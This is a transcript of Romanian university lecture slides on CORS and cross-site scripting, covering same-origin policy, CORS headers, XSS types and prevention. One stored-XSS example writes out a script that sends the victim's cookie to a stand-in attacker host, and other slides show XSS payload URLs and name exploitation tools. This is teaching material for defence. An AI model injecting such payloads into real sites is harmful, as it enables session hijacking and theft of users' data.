🎧 New: AI-Generated Podcasts Turn your study notes into engaging audio conversations. Learn more

Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...

Document Details

FearlessSasquatch

Uploaded by FearlessSasquatch

2023

Tags

web security cross-origin resource sharing computer networks

Full Transcript

SECURITATE WEB CURSUL 04 CORS ȘI XSS ș.l. dr. ing. ADRIAN ALEXANDRESCU Facultatea de Automatică și Calculatoare Universitatea Tehnică “Gheorghe Asachi” din Iași 2023-2024 Cuprins I. CORS II. XSS Adrian Alexandrescu 2023-2024 2 Cross Origin Resource Sharing 1. 2. 3. 4. 5. 6. I Same-origin p...

SECURITATE WEB CURSUL 04 CORS ȘI XSS ș.l. dr. ing. ADRIAN ALEXANDRESCU Facultatea de Automatică și Calculatoare Universitatea Tehnică “Gheorghe Asachi” din Iași 2023-2024 Cuprins I. CORS II. XSS Adrian Alexandrescu 2023-2024 2 Cross Origin Resource Sharing 1. 2. 3. 4. 5. 6. I Same-origin policy Interacțiunea dintre două origini CORS Header-e de răspuns cross-origin Categorii de acces cross-origin Recomandări referitoare la CORS Adrian Alexandrescu 2023-2024 3 1. Same-origin policy   I Mecanism de securitate prin care se restricționează interacțiunea unui script încărcat de o origine cu o resursă de la o altă origine Două adrese URL au aceeași origine dacă au aceleași:    Protocol Host Port Adrian Alexandrescu 2023-2024 4 1. Same-origin policy  http://www.anaaremere.ro/fructe/detalii.html  http://www.anaaremere.ro/fructe/detalii.html       I https://www.anaaremere.ro/fructe/detalii.html http://www.anaaremere.ro/legume/detalii.html http://www.anaaremere.com:80/fructe/ http://anaaremere.ro/fructe/detalii.html http://www.vlaicuareunavion.ro/fructe/detalii.html http://www.anaaremere.ro:8080/fructe/detalii.html Adrian Alexandrescu 2023-2024 5 2. Interacțiunea dintre două origini Adrian Alexandrescu 2023-2024 I https://ieftimov.com/posts/deep-dive-cors-history-how-it-works-best-practices 6 2. Interacțiunea dintre două origini Adrian Alexandrescu 2023-2024 I https://ieftimov.com/posts/deep-dive-cors-history-how-it-works-best-practices 7 3. Cross Origin Resource Sharing I Cross Origin Resource Sharing (CORS)  Mecanism bazat pe header-e HTTP prin care se permite unui server să specifice care sunt originile de la care browser-ul ar trebui să permită încărcarea resurselor Adrian Alexandrescu 2023-2024 8 3. Cross Origin Resource Sharing Adrian Alexandrescu 2023-2024 https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS I 9 3. Cross Origin Resource Sharing I Cereri preflight  Cerere realizată atunci când browser-ul consideră o cerere ca fiind complexă:    Metoda HTTP folosită este una diferită de GET, POST, HEAD Cererea include alte header-e înafară de Accept, AcceptLanguage și Content-Language Cererea are valoarea header-ului Content-Type diferită de application/x-www-form-urlencoded, multipart/form-data, or text/plain Adrian Alexandrescu 2023-2024 10 I Adrian Alexandrescu 2023-2024 11 4. Header-e de răspuns cross-origin     I Access-Control-Allow-Origin – specifică care sunt originile care pot accesa payload-ul din răspunsul cererii Access-Control-Allow-Methods – indică ce metode sunt acceptate de adresa URL a răspunsului în scopurile protocolului CORS Access-Control-Allow-Headers - indică ce header-e sunt acceptate de adresa URL a răspunsului în scopurile protocolului CORS Access-Control-Max-Age - indică numărul de secunde (5 implicit) cât timp informațiile furnizate de anteturile AccessControl-Allow-Methods și Access-Control-Allow-Headers pot fi stocate în cache. Adrian Alexandrescu 2023-2024 12 5. Categorii de acces cross-origin I 1. Transmiterea datelor la o altă origine (Cross-origin writes)   Link-uri, redirectări, submit-uri de formulare Unele cereri HTTP necesită permisiunea celuilalt domeniu (en., preflight) <form action="https://google.com/search" id="formFlori" target="_blank"> <input type="hidden" name="q" value="crizantema"> </form> <script> document.getElementById("formFlori").submit(); </script> Adrian Alexandrescu 2023-2024 13 5. Categorii de acces cross-origin I 2. Încorporarea resurselor de la o altă origine (Cross-origin embedding)    <script src="…"></script> (detaliile referitoare la erorile de sintaxă sunt disponibile doar pentru script-urile încărcate cu aceeași origine <link rel="stylesheet" href="…"> <img>, <video>, <audio>, <object>, <embed>, @font-face, <iframe> Header-ul HTTP de răspuns X-Frame-Options poate avea valorile:   DENY – pagina nu poate fi încărcată într-un iframe indiferent de site SAMEORIGIN – pagina poate fi încărcată doar dacă toate frame-urile părinte au aceeași origine ca pagina care se dorește a fi încărcată Adrian Alexandrescu 2023-2024 14 5. Categorii de acces cross-origin I 3. Încărcarea resurselor de la o altă origine (Cross-origin reads)     Implică încărcarea resurselor de la o altă origine în scopeul originii care face cererea Resurse încărcate prin AJAX/fetch Sunt blocate implicit de către browser CORS nu blochează cererea, ci blochează răspunsul Adrian Alexandrescu 2023-2024 15 6. Recomandări referitoare la CORS 1. Acces la liber  2. I Dacă este oferit un serviciu publicului larg fără restricții și fără autentificare/autorizare se poate folosi Access-Control-Allow-Origin: * Acces doar de la anumite origini (site-uri)   E.g., soluții de tipul analytics Access-Control-Allow-Origin: http://www.unexemplu.ro Adrian Alexandrescu 2023-2024 16 6. Recomandări referitoare la CORS 3. I Testarea locală a aplicației web    Dacă cererea este efectuată din JavaScript-ul dintr-o pagină încărcată local (file://) atunci se va transmite header-ul Origin: null Doar în vederea testării, serverul care primește cererea poate să permită procesarea răspunului Access-Control-Allow-Origin: null Adrian Alexandrescu 2023-2024 17 6. Recomandări referitoare la CORS 4. I Evitarea trimiterii cookie-urilor     Implicit nu sunt trimise cookie-urile la cererea efectuată din JavaScript Trebuie permis explicit browser-ului ca să trimită cookieurile Serverul trebuie să răspundă la cereri cu Access-Control-Allow-Credentials: true Combinația următoare trebuie de evitat: Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Adrian Alexandrescu 2023-2024 18 Cross Site Scripting 1. 2. 3. 4. 5. 6. II XSS Atac XSS non-persistent Atac XSS persistent Atac DOM XSS Payload-uri XSS Prevenirea atacurilor XSS Adrian Alexandrescu 2023-2024 19 1. Cross Site Scripting II Cross Site Scripting (XSS)      Permite atacatorilor să injecteze scripturi client-side în paginile web vizualizate de alți utilizatori Atacatorii fac astfel încât browser-ul să execute cod malițios când utilizatorul intră pe un site aparent sigur E.g., comentariile utilizatorilor conțin cod JS și sunt afișate pe site E.g., link cu JS trimis de atacator unui utilizator; scriptul trimite cookie-ul de autorizare atacatorului http://www.insecurelabs.org/task/Rule1 Adrian Alexandrescu 2023-2024 20 2. Atac XSS non-persistent II Reflected XSS  Codul atacatorului este executat de browser-ul victimei fără a se stoca nimic la server sau la client  E.g., victima primește de la atacator link-ul  Website-urile vulnerabile sunt cele care: www.test.com/index.php?q=<script>...</script>   Au funcție de căutare Posibilitatea de login cu afișarea numelui utilizatorului în pagina returnată Adrian Alexandrescu 2023-2024 21 2. Atac XSS non-persistent  II Website-urile vulnerabile sunt cele care:     Au funcție de căutare Au posibilitatea de login cu afișarea numelui utilizatorului în pagina returnată Afișează informație din header-ele HTTP (e.g., tipul browserului și versiunea) Folosesc parametri DOM de tipul document.url Adrian Alexandrescu 2023-2024 22 2. Atac XSS non-persistent  II Ținte posibile ale atacatorilor:   Cookie-urile de autentificare Date ale utilizatorului:         istoricul browser-ului informații personale (dacă este logat) fișiere încărcate pe site geolocația, webcam-ul, microfonul (API HTML5 care necesită acordul utilizatorului) Keylogging Phishing Modificarea site-ului (design, conținut) (injectarea de reclame) Atac de tipul Denial of Service Adrian Alexandrescu 2023-2024 23 2. Atac XSS non-persistent  II Surse ale atacurilor:    Email-uri de la persoane necunoscute Secțiunea de comentarii a unui site Social media Adrian Alexandrescu 2023-2024 24 2. Atac XSS non-persistent Adrian Alexandrescu 2023-2024 II Sursa: https://www.incapsula.com/web-application-security/reflected-xss-attacks.html 25 3. Atac XSS persistent II Stored XSS   Codul atacatorului ajunge să fie stocat în baza de date a serverului, iar codul este executat de browser când utilizatorul intră pe site E.g., la înregistrarea unui utilizator nou numele introdus este: anaaremere<script>document.location=’https://site.a tacator.com/?cookie=’+document.cookie</script> Adrian Alexandrescu 2023-2024 26 3. Atac XSS persistent Adrian Alexandrescu 2023-2024 II Sursa: https://www.acunetix.com/websitesecurity/cross-site-scripting/ 27 4. Atac DOM XSS   II Atacatorul se folosește de utilizarea nesigură a obiectelor din Document Object Model (DOM) E.g., utilizarea document.URL pentru a afișa pe site numele unui utilizator  Scriptul din pagină: var pos=document.URL.indexOf("user=")+5; document.write(document.URL.substring(pos,document. URL.length));  Adresa trimisă de atacator http://www.unsite.com/?user=<script>f()</script> http://www.unsite.com/#user=<script>f()</script> Adrian Alexandrescu 2023-2024 28 5. Payload-uri XSS II Aplicații care exploatează vulnerabilitățile de tipul XSS        XSStrike BruteXSS Terminal BruteXSS GUI XSS Scanner Online XSSer xsscrapy Cyclops https://github.com/payloadbox/xss-payload-list Adrian Alexandrescu 2023-2024 29 6. Prevenirea atacurilor XSS II Elementele care trebuie sanitizate (en., sanitized)     URL Parametrii GET și POST dintr-un formular window.location Proprietățile obiectului document:     referrer, location, URL, URLUnencoded Cookie-urile Header-ele Datele din baza de date introduse de utilizator Adrian Alexandrescu 2023-2024 30 6. Prevenirea atacurilor XSS  Encodarea informațiilor introduse de utilizator   Browser-ul trebui să interpreteze informațiile ca date nu ca și cod Validarea informațiilor introduse de utilizator    II Filtrarea informațiilor introduse Regex, număr minim/maxim de caractere Verificările trebuie să se facă atât la client cât mai ales la server Adrian Alexandrescu 2023-2024 31 6. Prevenirea atacurilor XSS II Utilizarea funcțiilor PHP:   strip_tags(șir)– scoate toate tag-urile HTML și PHP dintr-un șir de caractere htmlspecialchars(șir, ...) – convertește caracterele speciale în entități HTML (&”<>’) Funcția JavaScript  encodeURIComponent(uri) – convertește caracterele speciale https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_ Prevention_Cheat_Sheet Adrian Alexandrescu 2023-2024 32 6. Prevenirea atacurilor XSS II Prevenirea atacurilor XSS în Flask  https://semgrep.dev/docs/cheat-sheets/flask-xss/ Prevenirea atacurilor XSS în Express/NodeJS  https://semgrep.dev/docs/cheat-sheets/express-xss/ Prevenirea atacurilor XSS în Java și JSP  https://semgrep.dev/docs/cheat-sheets/java-jsp-xss/ Adrian Alexandrescu 2023-2024 33 6. Prevenirea atacurilor XSS II Utilizarea cookie-urilor HttpOnly     Un cookie cu atributul HttpOnly este inaccesibil din JavaScript prin document.cookie El este trimis doar la server De exemplu, cookie-urile care persistă sesiuni pe server nu trebuie să fie disponibile pentru JavaScript și ar trebui să aibă atributul HttpOnly Această precauție ajută la atenuarea atacurilor de tip cross-site scripting (XSS) Adrian Alexandrescu 2023-2024 34 6. Prevenirea atacurilor XSS II Utilizarea cookie-urilor HttpOnly  Protejează de exfiltrarea token-ului de sesiune (en., session token exfiltration)  OWASP – HttpOnly https://owasp.org/www-community/HttpOnly  NIST Special Publication 800-63B - Digital Identity Guidelines https://pages.nist.gov/800-63-3/sp800-63b.html#711browser-cookies Adrian Alexandrescu 2023-2024 35 Bibliografie  Wu, H., & Zhao, L. (2015). Web security: a whitehat perspective. CRC Press.  Same origin policy https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy      Cross-Origin Resource Sharing (CORS) https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS Abusing HTTP Status Codes to Expose Private Information https://www.grepular.com/Abusing_HTTP_Status_Codes_to_Expose_Private_In formation X-Frame-Options https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-FrameOptions Deep dive in CORS: History, how it works, and best practices https://ieftimov.com/posts/deep-dive-cors-history-how-it-works-best-practices Using Fetch https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch Adrian Alexandrescu 2023-2024 36 Bibliografie                http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/ https://excess-xss.com/ https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.sitepoint.com/8-practices-to-secure-your-web-app/ https://www.acunetix.com/websitesecurity/cross-site-scripting/ https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/ https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security https://developers.google.com/web/fundamentals/security/csp/ https://semgrep.dev/docs/cheat-sheets/flask-xss/ https://github.com/payloadbox/xss-payload-list https://clerk.dev/blog/how-httponly-cookies-help-mitigate-xss-attacks https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-cookies https://owasp.org/www-community/HttpOnly Adrian Alexandrescu 2023-2024 37

Use Quizgecko on...
Browser
Browser